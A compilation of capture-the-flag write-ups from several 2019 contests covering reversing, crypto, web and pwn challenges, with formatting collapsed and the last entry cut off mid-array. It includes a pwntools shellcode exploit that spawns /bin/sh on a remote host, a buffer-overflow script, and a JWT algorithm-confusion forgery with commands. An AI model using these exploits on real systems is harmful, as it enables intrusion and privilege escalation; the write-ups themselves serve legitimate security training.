// Decode a constant timestamp FUN_00100ec2(&DAT_00302572,0xb); // Verify that the current time is older than the timestamp - jump over this code if (DAT_00302572 != '\0') { lVar2 = atoll(&DAT_00302572); tVar3 = time((time_t *)0x0); if (lVar2 < tVar3) { return &DAT_003024d6; } }
// Decode text '/bin/bash' FUN_00100ec2(&DAT_0030252b,10); // Decode text '-c' FUN_00100ec2(&DAT_003024ad,3); // Decode 'exec' command FUN_00100ec2(&DAT_00302518,0xf); FUN_00100ec2(&DAT_00302514,1); FUN_00100ec2(&DAT_0030253b,0x16); // Decode a sanity check constant FUN_00100dcb(&DAT_0030253b,0x16); FUN_00100ec2(&DAT_00302557,0x16); iVar1 = memcmp(&DAT_0030253b,&DAT_00302557,0x16); if (iVar1 == 0) { // Decode another sanity check FUN_00100ec2(&DAT_003024b4,0x13); if (local_3c < 0) { puVar4 = &DAT_003024b4; } else { // At this point program starts to build external command to execute __argv = (char **)calloc((long)(int)(param_1 + 10),8);
...
FUN_00100ec2(&DAT_00302513,1); // Decode the in-memory script that will help produce the flag (see below) if ((DAT_00302513 == '\0') && (iVar1 = FUN_00100fb6(&DAT_0030252b), iVar1 != 0)) { return &DAT_0030252b; } // Decode remaining pieces of the command to execute - at this point// we can simply extract the script we need from memory and execute it FUN_00100ec2(&DAT_0030257f,1); FUN_00100ec2(&DAT_003020c3,0x283); FUN_00100ec2(&DAT_00302581,0x13); FUN_00100dcb(&DAT_00302581,0x13); FUN_00100ec2(&DAT_00302022,0x13); iVar1 = memcmp(&DAT_00302581,&DAT_00302022,0x13); if (iVar1 != 0) { return &DAT_00302581; } local_30 = (char *)malloc(0x1283); if (local_30 == (char *)0x0) { return (undefined *)0; } memset(local_30,0x20,0x1000); memcpy(local_30 + 0x1000,&DAT_003020c3,0x283); }...```
Function ```FUN_00100fb6()``` is of particular interest, it gets a ```stat``` of ```/bin/bash``` and decodes the hidden script based on its data. Here is the stat data on my machine:
```00007fff:ffffe140|01 08 00 00 00 00 00 00 71 02 1a 00 00 00 00 00|........q.......| Device ID, Inode00007fff:ffffe150|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|................|00007fff:ffffe160|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|................|00007fff:ffffe170|c8 04 11 00 00 00 00 00 00 00 00 00 00 00 00 00|................| File size00007fff:ffffe180|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|................|00007fff:ffffe190|00 00 00 00 00 00 00 00 3a b3 26 5b 00 00 00 00|........:.&[....| Modification time00007fff:ffffe1a0|00 00 00 00 00 00 00 00 76 1d 1b 5c 00 00 00 00|........v..\....| Creation time00007fff:ffffe1b0|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|................|00007fff:ffffe1c0|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|................|```
Correct values were specified in the task description. We can replace them in memory as we debug the program:
```00007fff:ffffe140|06 08 00 00 00 00 00 00 32 07 10 00 00 00 00 00|........q.......|00007fff:ffffe150|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|................|00007fff:ffffe160|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|................|00007fff:ffffe170|a0 fd 10 00 00 00 00 00 00 00 00 00 00 00 00 00|................|00007fff:ffffe180|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|................|00007fff:ffffe190|00 00 00 00 00 00 00 00 7f 93 f9 5c 00 00 00 00|........:.&[....| 00007fff:ffffe1a0|00 00 00 00 00 00 00 00 55 1f 24 5d 00 00 00 00|........v..\....|00007fff:ffffe1b0|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|................|00007fff:ffffe1c0|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|................|```
With the correct data set, the script is correctly decoded in memory:
```sh#!/bin/bash# In the name of Allahsecret='L5rI#`8D+e4FqFQy.t?E'top_secret='s7.#"{EE*(T+H!R\c#e=WMd^C'version=`openssl version | cut -d" " -f 2`if [[ $version == '1.1.1d' ]]; then if [[ $# -eq 1337 ]]; then if [[ $2 == 'unl0ck_M3__PlE4ze__n0W' ]]; then openssl enc -aes-256-cbc -nosalt -d -in $1 -k $secret echo '' echo 'Your file unlocked successfully' fi if [[ $114 == 'l3T_m3_kN0w_fL49_Pl3Az3' ]]; then openssl enc -aes-256-cbc -nosalt -d -in 'asis_flag.enc' -iter $((114 * ${#top_secret})) -k $top_secret fi else echo 'Try harder!!' fielse echo 'Your OS is not satisfied to run this program, sorry!'fi```
We don't need to run the whole script as it requires that we set up a crazy number of parameters, let's simply run the important part of it:
```sh$ openssl enc -aes-256-cbc -nosalt -d -in asis_flag.enc -iter 2850 -k 's7.#"{EE*(T+H!R\c#e=WMd^C' > flag.png```
An image is produced and it contains the flag: ```ASIS{Rans0mw4R3_1nf3c7_tHE_W0rlD}```. |
# SECCON Quals 2019 : Crazy-Repetition-of-Codes
**category** : crypto
**points** : 326
**solves** : 45
## write-up
CRC can be model as following calculation in Polynomial Ring of GF(2)
[list of crc functions](https://github.com/gsutil-mirrors/crcmod/blob/master/python3/crcmod/predefined.py#L49)
```(M * x ^ n + Y + (Y + I) * x ^ b) % KwhereM = Input MessageK = PolyY = XOR-outI = Init-valuen = size of Kb = size of M```
If the crc function is in reverse mode, bitwise reverse the `M, K, Y, I` before the calculation ( The Poly column given in the previous link is already reverse in reverse mode ), and bitwise reverse the output after the calculation
You can test the below sage code The implementation using calculation in Polynomial Ring of GF(2) is identical to the challenge crc32 implementation
```pythondef crc32(crc, data): crc = 0xFFFFFFFF ^^ crc for c in data: crc = crc ^^ c for i in range(8): crc = (crc >> 1) ^^ (0xEDB88320 * (crc & 1)) return 0xFFFFFFFF ^^ crc
R.<x> = GF(2)['x']
def i2p(p): return R(Integer(p).bits())
def p2i(p): return Integer(p.list(), 2)
def rev(p, n): p = (p.list() + [0] * n)[:n] return R(p[::-1])
def crc32_(crc, data): n = 32 b = len(data) * 8 K = i2p(0x104C11DB7) M = i2p(int.from_bytes(data, 'little')) I = i2p(crc) Y = i2p(0xFFFFFFFF) crc = general_crc(K, M, I, Y, n, b, True) return p2i(crc)
def general_crc(K, M, I, Y, n, b, reverse): if reverse: M = rev(M, b) Y = rev(Y, n) I = rev(I, n) crc = (M * x ^ n + (Y + I) * x ^ b + Y) % K if reverse: crc = rev(crc, n) return crc
assert(crc32(0, b'test') == crc32_(0, b'test'))```
Now we can calculate the power in challenge
```let S = M * x ^ n + Y * x ^ b + Ycrc_0 = 0crc_1 = S + crc_0 * x ^ b = Scrc_2 = S + crc_1 * x ^ b = S * (1 + x ^ b)...crc_k = S + crc_k-1 * x ^ b = S * (1 + x ^ b + ... + x ^ ((k - 1) * b))
let Z = S * (1 + x ^ b + ... + x ^ ((k - 1) * b))(x ^ b) * Z = S * (x ^ b + x ^ (2 * b) + ... + x ^ (k * b))(x ^ b - 1) * Z = S * (x ^ (k * b) - 1)Z = S * (x ^ (k * b) - 1) / (x ^ b - 1)
All calculation above is under mod K```
for more detail, read the source code [solve.sage](solve.sage)
flag: `SECCON{Ur_Th3_L0rd_0f_the_R1NGs}`
# other write-ups and resources |
D^3CTF 2019 Crypto - Noise
Writeup: [https://hackmd.io/@JHSN/r1r5vuO2B](https://hackmd.io/@JHSN/r1r5vuO2B)
File: [https://gist.github.com/Chrstm/f225a5e67f12d20caba117224d1b4241](https://gist.github.com/Chrstm/f225a5e67f12d20caba117224d1b4241) |
# Knock knock [498 pts]
## Category>Web
## Description>While performing a pentest, we managed to get limited access to a box on the network ([email protected]) with password of password. There's probably some cool stuff you can find on the network if you go looking.
## WriteupSSH into the server provided and notice that the only programs available are `nc`, `tcpdump`, `curl`, `ls` and a few more.
The `tcpdump` looks interesting!By looking at the network traffic for a while we notice a suspicious local IP address, 192.168.0.14, that sometimes sends data back over https. Right before this data is sent, there is usually 3 connections to random ports every time.
It looks like there is some port knocking going on here! The challenge name is "Knock Knock" so we already have this hint.
The problem is that there are random ports that get knocked on every time, and the https-port is only open for one connection. Maby the information about which ports to knock on next time is included in the data sent over https? How can we hook into this sequence of requests and send an https-request before the client connects? We notice that there is a slight delay between the last portknock and the https request, so maby we can just wait for the third portknock and quickly use `curl` to get the data. Tcpdump can be stopped after "n" packets, so with the right filters we can make a bash oneliner:
**Bash oneliner to solve the challenge**```bashwhile true; do tcpdump tcp and dst 192.168.0.14 and not port 443 -c 3; curl -k -v --connect-timeout 10 https://192.168.0.14; done```
We let this run, and hopefully, if there are no other people on the box breaking the sequence, we get the flag back!
```console19:36:15.210784 IP 192.168.0.33.43472 > 192.168.0.14.7553: Flags [S], seq 2806668997, win 1024, options [mss 1460], length 019:36:29.707206 IP 192.168.0.33.56707 > 192.168.0.14.2284: Flags [S], seq 1943103875, win 1024, options [mss 1460], length 019:36:44.203373 IP 192.168.0.33.46432 > 192.168.0.14.2438: Flags [S], seq 1000961227, win 1024, options [mss 1460], length 03 packets captured4 packets received by filter0 packets dropped by kernel* Rebuilt URL to: https://192.168.0.14/* Trying 192.168.0.14...* TCP_NODELAY set* Connected to 192.168.0.14 (192.168.0.14) port 443 (#0)* Server certificate:* subject: C=AU; ST=Some-State; O=Internet Widgits Pty Ltd; CN=192.168.0.14* start date: Nov 15 14:15:26 2019 GMT* expire date: Nov 14 14:15:26 2020 GMT* issuer: C=AU; ST=Some-State; O=Internet Widgits Pty Ltd; CN=192.168.0.14* SSL certificate verify result: self signed certificate (18), continuing anyway.> GET / HTTP/1.1> Host: 192.168.0.14> User-Agent: curl/7.58.0> Accept: */*> < HTTP/1.1 200 OK< Date: Sat, 16 Nov 2019 19:36:44 GMT< Server: Apache/2.4.29 (Ubuntu)< Last-Modified: Fri, 15 Nov 2019 14:20:35 GMT< ETag: "1c-597634d297ba1"< Accept-Ranges: bytes< Content-Length: 28< Content-Type: text/html< RITSEC{KN0CK_KN0CK_IM_H3R3}```
Flag: `RITSEC{KN0CK_KN0CK_IM_H3R3}` |
Some non-reversible function is applied to a 13-byte flag, giving an 8-byte hash, which must correspond to a predefined value. ELF headers are corrupt (no section headers) and the resulting hashed value depends on these headers staying corrupt. |
```pythonfrom pwn import *context.log_level = "DEBUG"
def run(): #s = process('thefirst') s = remote("chal.tuctf.com",30508) junk = "A" * (24) s.recvline()
payload = junk.encode() payload += p32(0x080491f6) #printFlag address s.sendline(payload) res = s.recvline() print(res)
run()``` |
tl;dr:1. Extract list of endpoints and how to use them2. Register account3. Find secret logs endpoint and get admin auth token4. Break admin rng number from the token5. Recover list of admin links by trying to add new one with existing name6. Share flag link with your user
Full writeup: https://github.com/p4-team/ctf/tree/master/2019-11-16-asis-finals/sharel |
# Reversing - runme
This sweet little program just wants us to run it, and in exchange for thisunweighty trifle it will give us the flag! How nice of it!
But maybe let's first have a short look in IDA? It starts with the quitepredictable `open`-`malloc`-`read`-`close` dance, but then it forks,increments a 16-bit counter:
```.text:080489E3 memset_0_done:.text:080489E3 call _fork.text:080489E8 mov [esp+0F0h+pid], eax.text:080489EC movzx eax, [esp+0F0h+incme_after_fork].text:080489F1 add eax, 1.text:080489F4 mov [esp+0F0h+incme_after_fork], ax.text:080489F9 cmp [esp+0F0h+pid], 0.text:080489FE jz in_child```
hashes a 16-byte buffer we've just `memset` to all zeroes:
```.text:08048A04 in_parent:.text:08048A04 mov [esp+0F0h+arg1], 10h.text:08048A0C lea eax, [esp+0F0h+buf].text:08048A10 mov [esp+0F0h+arg0], eax.text:08048A13 call hash_md5_val.text:08048A18 cmp [esp+0F0h+incme_after_fork], 0.text:08048A1E jns incme_after_fork_ge_0 ; 2**15 times```
goes through a bunch of `nop`s:
```.text:08048B2A in_child: ; CODE XREF: main+101↑j.text:08048B2A nop```
falls through to waiting for its child:
```.text:08048B3F incme_after_fork_ge_0: ; CODE XREF: main+121↑j.text:08048B3F call _wait.text:08048B44 jmp memset_0_done```
and repeats the whole sequence until 16-bit counter's sign bit does not become1, that is, 2 ** 15 times. This means that that many processes will be spawnedat a time. That's not a proper fork bomb yet, but it's not hard to imagine thata reasonable person would still find this rude and not acceptable.
So, let's defuse the evil contraption?
```# skip forkb *0x080489E3commands set $eip = 0x080489E8 set $eax = 1 cend
# skip waitb *0x08048B3Fcommands set $eip = 0x08048B44 cend```
The code runs quite quickly and orderly under this gdbscript. Instead ofcreating new processes, it does all the hashing inside of the main one, andthen, as intended, uses the result as an AES key to decrypt the flag.Unfortunately, this produces total garbage. Where is the catch?
Let's try to recap how the program is supposed to work, given infinite timeand resources:
```main: memset(buf, 0, sizeof(buf)) for _ in range(2 ** 15): hash(buf) child0: wait() # should return -1, errno=ECHILD for _ in range(2 ** 15 - 1): hash(buf) child1: ... exit(0) wait(child1) # should return 0 and set *wstatus = 0 decrypt() exit(0) wait(child0) # should return 0 and set *wstatus = 0 decrypt() exit(0)```
So, the whole action is sequential, despite the number of involved processes.Children will create each other recursively, each ultimately hashing the buffer2 ** 15 times and saving the decrypted flag to the disk, overwriting eachother's work. Finally, the parent would save its own decrypted version,overriding what the last child did. This should be the correct flag.
The bothersome thing is:
```.text:08048B3F call _wait.text:08048B44 jmp memset_0_done```
Where is the argument? Where will `wstatus` be saved? This is a 32-bit program,so all the arguments are passed on stack. The last time something was put ontop of the stack was:
```.text:08048A0C lea eax, [esp+0F0h+buf].text:08048A10 mov [esp+0F0h+arg0], eax.text:08048A13 call hash_md5_val```
This is the buffer that is being hashed! So, sneakily, in addition to hashing,the code overwrites the first 32 bits of the buffer with wstatus, which issupposed to always be zero. It could be possible to enhance gdbscript tosimulate that, but now it's also possible to simply implement the whole logic inPython. Doing this correctly decrypts the flag:`SECCON{infinite_fork_is_not_good_for_system}`. It sure isn't. |
# RITSEC CTF 2019 – Our First API
* **Category:** web* **Points:** 417
## Challenge
> ctfchallenges.ritsec.club:3000 ctfchallenges.ritsec.club:4000>> Hint: You don't need the Bearer keyword!> > Author: sandw1ch
## Solution
Connecting to [http://ctfchallenges.ritsec.club:3000/](http://ctfchallenges.ritsec.club:3000/) will give the following message.
```This page is only for authentication with our api, located at port 4000!```
Connecting to [http://ctfchallenges.ritsec.club:4000/](http://ctfchallenges.ritsec.club:4000/) will give the following message.
```API Documentation
Below are some of the api endpoints that you can use. Please use them responsibly :)!Use the format below to make your requests to the API.
Nodes Description/api/admin
For admin users to authenticate. Please provide us your authorization token given to you by the /auth endpoint.
/api/normal
For standard users to authenticate. Please provide us your authorization token given to you by the /auth endpoint.
/auth
Authentication endpoint on port 3000. Please send your name and this api will return your token for accessing the api! ```
At this point you have references to an exposed API. Trying to connect to [http://ctfchallenges.ritsec.club:4000/api/normal](http://ctfchallenges.ritsec.club:4000/api/normal) will result in an error.
```Forbidden, missing JWT authorization```
So you can request a JWT using the `/auth` API and specifying a `name`.
```GET http://ctfchallenges.ritsec.club:3000/auth?name=m3ssap0 HTTP/1.1Accept-Encoding: gzip,deflateHost: ctfchallenges.ritsec.club:3000Connection: Keep-AliveUser-Agent: Apache-HttpClient/4.1.1 (java 1.5)
HTTP/1.1 200 OKServer: nginx/1.14.0 (Ubuntu)Date: Sat, 16 Nov 2019 09:49:38 GMTContent-Type: application/json; charset=utf-8Content-Length: 287Connection: keep-aliveX-Powered-By: ExpressETag: W/"11f-JMdC/jocpabmtyWtX3112GAnmeM"
{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoibTNzc2FwMCIsInR5cGUiOiJ1c2VyIiwiaWF0IjoxNTczODk3Nzc4fQ.gZQldIgqszPZdD8eBxAsdCH6b8JJKp-Muem2sWX_8sFw8Wcqdt2GBhI6Uhu55RQx9Jv1EQykus7SRb9IIWiFHeVYuGGM5MZP2U3eTDOSscXZoMR6hVSOKHtDFsBVvvzob9-ZKjuOnziXCiOZHQPs2Bjfx-YThBhWZ8VyAMV2kUQ"}```
You can decode the token to understand its format.
```{"typ":"JWT","alg":"RS256"}{"name":"m3ssap0","type":"user","iat":1573897778}gZQldIgqszPZdD8eBxAsdCH6b8JJKp-Muem2sWX_8sFw8Wcqdt2GBhI6Uhu55RQx9Jv1EQykus7SRb9IIWiFHeVYuGGM5MZP2U3eTDOSscXZoMR6hVSOKHtDFsBVvvzob9-ZKjuOnziXCiOZHQPs2Bjfx-YThBhWZ8VyAMV2kUQ```
As you can see, you have low privileges (i.e. `user`), but you can use this token to be authenticated.
```GET http://ctfchallenges.ritsec.club:4000/api/normal HTTP/1.1Accept-Encoding: gzip,deflateAuthorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoibTNzc2FwMCIsInR5cGUiOiJ1c2VyIiwiaWF0IjoxNTczODk3Nzc4fQ.gZQldIgqszPZdD8eBxAsdCH6b8JJKp-Muem2sWX_8sFw8Wcqdt2GBhI6Uhu55RQx9Jv1EQykus7SRb9IIWiFHeVYuGGM5MZP2U3eTDOSscXZoMR6hVSOKHtDFsBVvvzob9-ZKjuOnziXCiOZHQPs2Bjfx-YThBhWZ8VyAMV2kUQHost: ctfchallenges.ritsec.club:4000Connection: Keep-AliveUser-Agent: Apache-HttpClient/4.1.1 (java 1.5)
HTTP/1.1 200 OKServer: nginx/1.14.0 (Ubuntu)Date: Sat, 16 Nov 2019 09:52:38 GMTContent-Type: application/json; charset=utf-8Content-Length: 79Connection: keep-aliveX-Powered-By: ExpressETag: W/"4f-u9uH9/VkEWCKoW8TLnG/KetS8Ks"
{"flag":"Congrats on authenticating! Too bad flags aren't for normal users !!"}```
The authentication works, but the correct endpoint to call is `/admin`.
```GET http://ctfchallenges.ritsec.club:4000/api/admin HTTP/1.1Accept-Encoding: gzip,deflateAuthorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoibTNzc2FwMCIsInR5cGUiOiJ1c2VyIiwiaWF0IjoxNTczODk3Nzc4fQ.gZQldIgqszPZdD8eBxAsdCH6b8JJKp-Muem2sWX_8sFw8Wcqdt2GBhI6Uhu55RQx9Jv1EQykus7SRb9IIWiFHeVYuGGM5MZP2U3eTDOSscXZoMR6hVSOKHtDFsBVvvzob9-ZKjuOnziXCiOZHQPs2Bjfx-YThBhWZ8VyAMV2kUQHost: ctfchallenges.ritsec.club:4000Connection: Keep-AliveUser-Agent: Apache-HttpClient/4.1.1 (java 1.5)
HTTP/1.1 403 ForbiddenServer: nginx/1.14.0 (Ubuntu)Date: Sat, 16 Nov 2019 10:04:24 GMTContent-Type: application/json; charset=utf-8Content-Length: 26Connection: keep-aliveX-Powered-By: ExpressETag: W/"1a-0ieoISNU3KaboLL5dBc9VysAH3I"
{"reason":"Not an admin!"}```
Unfortunately, you don't have enough privileges. Furthermore, trying to alter the JWT changing the `alg` to `none`, changing the `type` to `admin` and removing the signature will not work.
Analyzing the HTML source of the API documentation page, you can discover an interesting comment.
```
```
So you can discover: [http://ctfchallenges.ritsec.club:3000/robots.txt](http://ctfchallenges.ritsec.club:3000/robots.txt).
```User-agent: * Disallow: /signing.pem Disallow: /auth```
And you can get the signing certificate [signing.pem](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/RITSEC%20CTF%202019/Our%20First%20API/signing.pem) that can be used to craft a malicious JWT.
```-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBquzMGkZlJmZm4pYppxeDmsGd8+9mOh5S9O7W7Gu5VByfl7i3JdCfGxRJdHscg6l321PeTXsXGZ7goHd4Xjv/FtKQDyoaKql4Kl692KKKN/9xA6tKdOYQbZvPqyRXUVOGdyZ12qFBOQzI7ox22YL3ul/3nyiDR+p+JKbdVU6AWQIDAQAB-----END PUBLIC KEY-----```
The first part of the JWT is the following.
```{"typ":"JWT","alg":"HS256"}{"name":"m3ssap0","type":"admin","iat":1573897778}
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9eyJuYW1lIjoibTNzc2FwMCIsInR5cGUiOiJhZG1pbiIsImlhdCI6MTU3Mzg5Nzc3OH0```
The signature can be performed with following operations.
```root@m3ss4p0:~# openssl x509 -in signing.pem -pubkey -noout > public_key.pem
root@m3ss4p0:~# cat signing.pem | xxd -p | tr -d "\\n"2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d4947664d413047435371475349623344514542415155414134474e4144434269514b426751444271757a4d476b5a6c4a6d5a6d34705970707865446d7347640a382b396d4f683553394f375737477535564279666c3769334a6443664778524a6448736367366c333231506554587358475a37676f486434586a762f46744b510a44796f614b716c344b6c3639324b4b4b4e2f39784136744b644f5951625a76507179525855564f4764795a31327146424f517a49376f783232594c33756c2f330a6e796944522b702b4a4b62645655364157514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a
root@m3ss4p0:~# echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoibTNzc2FwMCIsInR5cGUiOiJhZG1pbiIsImlhdCI6MTU3Mzg5Nzc3OH0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d4947664d413047435371475349623344514542415155414134474e4144434269514b426751444271757a4d476b5a6c4a6d5a6d34705970707865446d7347640a382b396d4f683553394f375737477535564279666c3769334a6443664778524a6448736367366c333231506554587358475a37676f486434586a762f46744b510a44796f614b716c344b6c3639324b4b4b4e2f39784136744b644f5951625a76507179525855564f4764795a31327146424f517a49376f783232594c33756c2f330a6e796944522b702b4a4b62645655364157514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a(stdin)= 59d895e8e3aa3570f35f5894ab58349e5ed4510bbff976cb4c1315e2d41b6e81
root@m3ss4p0:~# python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('59d895e8e3aa3570f35f5894ab58349e5ed4510bbff976cb4c1315e2d41b6e81')).replace('=','')\")"WdiV6OOqNXDzX1iUq1g0nl7UUQu_-XbLTBMV4tQbboE```
So the final JWT is the following.
```eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoibTNzc2FwMCIsInR5cGUiOiJhZG1pbiIsImlhdCI6MTU3Mzg5Nzc3OH0.WdiV6OOqNXDzX1iUq1g0nl7UUQu_-XbLTBMV4tQbboE```
Now the right API endpoint can be called.
```GET http://ctfchallenges.ritsec.club:4000/api/admin HTTP/1.1Accept-Encoding: gzip,deflateAuthorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoibTNzc2FwMCIsInR5cGUiOiJhZG1pbiIsImlhdCI6MTU3Mzg5Nzc3OH0.WdiV6OOqNXDzX1iUq1g0nl7UUQu_-XbLTBMV4tQbboEHost: ctfchallenges.ritsec.club:4000Connection: Keep-AliveUser-Agent: Apache-HttpClient/4.1.1 (java 1.5)
HTTP/1.1 200 OKServer: nginx/1.14.0 (Ubuntu)Date: Sat, 16 Nov 2019 11:01:12 GMTContent-Type: application/json; charset=utf-8Content-Length: 36Connection: keep-aliveX-Powered-By: ExpressETag: W/"24-vlpXTZ6UFXtGl+K+y0F+DaKpibw"
{"flag":"RITSEC{JWT_th1s_0ne_d0wn}"}```
The flag is the following.```RITSEC{JWT_th1s_0ne_d0wn}``` |
```pythonfrom pwn import *context.log_level = "DEBUG"
#s = process('shellme32')s = remote("chal.tuctf.com",30506)limit = 40print(s.recvline())leak = s.recvline()leak = str(leak.decode()).replace("\n","")addr_leak = int(leak, 16)print(hex(addr_leak))shell_code = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'payload = shell_codepayload += str("A" * (limit - len(shell_code))).encode()payload += p32(addr_leak)s.sendline(payload)s.interactive(prompt="")``` |
tl;dr:1. Notice the badchars are checked in order and we can do `{[,/}` to read any file2. Notice that `Dir.glob` removes anything before nullbyte, so we can strip the `.` at the front
Full writeup: https://github.com/p4-team/ctf/tree/master/2019-10-19-seccon/fileserver |
Exploit format strings with printf and leak a pointer to libc and overwrite the GOT entry of free with system function byte-by-byte with four format strings. |
# Talk to me (100p) [ruby]
In this challenge, you're given the address and port to a telnet server. Connecting to it, you get a `Hello!` from the server. When you enter something back, it will either print an error, the message `I wish you would greet me the way I greeted you.` or `I can't understand you`. Experimenting a bit with the inputs, it looks like the code is doing something like `eval(input).match(...)`, except if it detects any letter it will not eval your input, but send the "I can't understand you". [This article](https://threeifbywhiskey.github.io/2014/03/05/non-alphanumeric-ruby-for-fun-and-not-much-else/) describes how you can write ruby code without letters, and since we are able to use the quote sign `'`, we can create strings with the shovel operator trick they describe. After many failed attempts at RCE, I realized that the program actually wanted me to write "Hello!" back. The solution then becomes `''<<72<<101<<108<<108<<111<<33`.
# Aesni (700p) [binary]Opening this binary in a disassembler only shows a single function, which seems to decrypt some code (using the AESENC instruction), then jumping to the decrypted code. Following the code in a debugger, we can see that this loop is actually running multiple times. It exits early if no arguments are given to the program, so we have to provide one. Simply single-stepping through the code, I see that the string `ThIs-iS-fInE` is loaded into a register and used in a comparison. If we give this as a param, the flag is returned.
```root@2f4b836ef375:/ctf/work# ./aesni ThIs-iS-fInEflag-cdce7e89a7607239```
# Decode me (150p) [snake oil]We're given a .pyc file (Python bytecode) and an "encoded" PNG file. The pyc file is easily reversed with uncompyle6 and looks like this:
```pythonimport base64, string, sysfrom random import shuffle
def encode(f, inp): s = string.printable init = lambda : (list(s), []) bag, buf = init() for x in inp: if x not in s: continue while True: r = bag[0] bag.remove(r) diff = (ord(x) - ord(r) + len(s)) % len(s) if diff == 0 or len(bag) == 0: shuffle(buf) f.write(('').join(buf)) f.write('\x00') bag, buf = init() shuffle(bag) else: break
buf.extend(r * (diff - 1)) f.write(r)
shuffle(buf) f.write(('').join(buf))
if __name__ == '__main__': with open(sys.argv[1], 'rb') as (r): w = open(sys.argv[1] + '.enc', 'wb') b64 = base64.b64encode(r.read()) encode(w, b64)```
At first glance, this code looks impossible to reverse due to its heavy use of shuffle(), and the fact that it might terminate early if `diff == 0`, giving blocks that are uneven in length. But the algorithm here is actually fairly straight-forward; base64-encode the input, initialize a permutation of all the printable characters, and *remove* one by one character from the permutation. For each letter you remove, measure the distance to the current input byte, and add (diff-1) of the removed letter to a temporary buffer. That means that if the input was an 'a', and you removed a 'g' from the permutation list, it would add `ord('g')-ord('a')-1` of the letter "g" to the temprary buffer. Once the permutation list is empty, or you run into a situation where the removed letter matches the input, the entire temporary buffer is *shuffled*, then added to the output (followed by a null-byte).
To reverse this, we need to differentiate the removed letters from the temporary buffer in the output. These two form one "block", and there are multiple blocks delimited by a null-byte in the output. Since each letter is actually removed from the permutation when encoding, we can simply take one by one letter until we find a duplicate letter that we've seen before. This marks the divide between `bag` and `buf`. The rest is simply counting the number of occurences of each letter from `bag`, as this will tell us the difference we need to add/subtract to get the real input. Because of the modulo operation, there are some bytes that could be valid ascii both as +100 and -100, but we want the one where the solution lands inside the alphabet used for base64.
The final decoder looks like this:```pythonfrom string import printable
#PNG header b64 iVBORw0KGgb64alpha = map(ord, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=")
b64buf = ""data = open("decodeme.png.enc", "rb").read()
e_counter = 0ix = 0while ix < len(data): r_list = [] while data[ix] not in r_list: r_list.append(data[ix]) ix += 1 try: STOP = ix + data[ix:].index("\x00") except ValueError: STOP = len(data)
buf = data[ix:STOP] for r in r_list: if r == "\x00": continue diff = buf.count(r) + 1 x = (diff + ord(r)) & 0xFF if x not in b64alpha: if 0 > (x - len(printable)): x += len(printable) else: x -= len(printable) if x not in b64alpha: print(x, ix, STOP, len(data), (diff + ord(r))) assert False b64buf += chr(x)
ix = STOP + 1
with open("decodeme.png", "wb") as fd: fd.write(b64buf.decode('base-64'))```
# Inwasmble (200p) [web]
We've given a link to an HTML site, where we're greeted by this box:
At first glance, the code seems to contain nothing
but opening it in a text editor, reveals that it contains a ton of unicode letters that take up no space. The code actually looks like this:
```javascriptvar code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x02, 0x01, 0x00, 0x05, 0x03, 0x01, 0x00, 0x01, 0x07, 0x15, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00, 0x08, 0x76, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x00, 0x00, 0x0a, 0x87, 0x01, 0x01, 0x84, 0x01, 0x01, 0x04, 0x7f, 0x41, 0x00, 0x21, 0x00, 0x02, 0x40, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x41, 0x20, 0x46, 0x0d, 0x01, 0x41, 0x02, 0x21, 0x02, 0x41, 0x00, 0x21, 0x01, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x20, 0x01, 0x46, 0x0d, 0x01, 0x20, 0x01, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6c, 0x21, 0x02, 0x20, 0x01, 0x41, 0x01, 0x6a, 0x21, 0x01, 0x0c, 0x00, 0x0b, 0x0b, 0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x20, 0x02, 0x41, 0x01, 0x6a, 0x36, 0x02, 0x00, 0x20, 0x00, 0x2d, 0x00, 0x00, 0x20, 0x00, 0x41, 0x80, 0x01, 0x6a, 0x2d, 0x00, 0x00, 0x73, 0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x2d, 